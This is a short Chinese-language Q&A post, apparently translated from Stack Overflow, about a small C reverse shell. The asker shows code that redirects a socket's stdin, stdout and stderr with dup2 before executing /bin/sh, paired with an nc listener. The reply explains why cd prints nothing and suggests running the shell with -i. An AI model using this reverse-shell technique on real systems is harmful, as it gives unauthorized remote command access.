我试图在C中构建一个非常小的反转壳。
连接有效,命令也会执行,但我想知道如何打印当前目录。到目前为止我的代码:
客户:
// [...]
// creating socket
// connect
void handle_connection(socket_t* sock, char** argv, char** env) {
// redirect stdout, stdin, stderr
for (int i = 0; i <= 2; i++)
dup2(*sock, i);
execve("/bin/sh", argv, env);
}
在服务器端,我只是使用nc工作正常。但是当前目录不像往常一样打印出来。 F.ex.如果我发送“cd [...]”,则根本没有输出。
如何将当前目录发送到服务器?
感谢您的帮助。
答案 0 :(得分:1)
如果要查看当前目录,请运行pwd
命令。
cd
命令不打印任何输出。因此,您将看不到任何输出。
如果以交互方式运行shell,则shell在执行命令后会打印prompt。某些shell,或根据您的配置,该提示可能包含当前工作目录。
但是当你将套接字连接到shell stdin / out / err时,shell会发现它不处于交互模式,并且它不会出现提示。只需运行cd
命令就不会输出。
您可以强制shell进入交互模式,在这种情况下,应该在每个命令后打印提示符,运行
execl("/bin/sh", "/bin/sh/", "-i", NULL);
(或者在execve()调用中找到一些添加“-i”参数的方法)